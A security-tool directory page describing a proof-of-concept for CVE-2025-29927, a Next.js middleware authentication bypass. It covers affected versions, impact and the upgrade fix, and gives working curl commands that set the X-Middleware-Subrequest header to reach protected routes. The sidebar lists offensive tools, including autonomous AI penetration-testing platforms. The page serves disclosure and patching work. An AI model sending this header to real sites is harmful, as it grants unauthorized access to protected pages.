Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/toddkk02/cve-2025-29927
Authentication & AuthorizationVulnerability AnalysisIDS/IPS EvasionWeb Application ExploitationCTFPenetration Testing
GitHubtoddkk02/cve-2025-29927

CVE-2025-29927

Proof-of-concept exploit for CVE-2025-29927, demonstrating authentication bypass in Next.js middleware via the x-middleware-subrequest header, with affected versions and mitigation guidance.

View Repository
268 months agoNot yet reviewed
Share

CVE-2025-29927 — Next.js Middleware Authentication Bypass

Overview

Imagine a bouncer in front of the club, but if you tell him "I'm already in," he lets you pass without checking. That's exactly what CVE-2025-29927 is.

Middleware in Next.js runs before a request is processed, making it the ideal place to handle authentication. Next.js uses an internal x-middleware-subrequest header to prevent recursive requests and avoid infinite loops. This vulnerability demonstrates that it's possible to bypass or skip middleware execution entirely — including critical security checks like authentication before reaching a protected route.


Affected Versions

BranchFixed in
15.x< 15.2.3
14.x< 14.2.25
13.x< 13.5.9

Vulnerable applications

  • Applications that host Next.js and use middleware
  • Applications that rely on middleware for authentication and security checks without validating later in the application stack

Unaffected

  • Applications hosted on Vercel
  • Applications hosted on Netlify
  • Applications published as static exports (middleware is not executed)

Impact

Thousands or millions of applications run on unpatched Next.js versions. If unmitigated, this vulnerability allows unauthenticated access to protected routes by anyone — no credentials required.


Proof of Concept

curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3000/private-area

The response returns the protected page without any authentication.

I exploited this vulnerability on a real CTF environment

curl -s "http://<target>/<private-area>" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

Fix

Upgrade Next.js to a patched version:

  • 15.x → 15.2.3 or higher
  • 14.x → 14.2.25 or higher
  • 13.x → 13.5.9 or higher
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    668
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    496
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    394
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    254

Explore all tools

Browse our collection of tools

View all tools →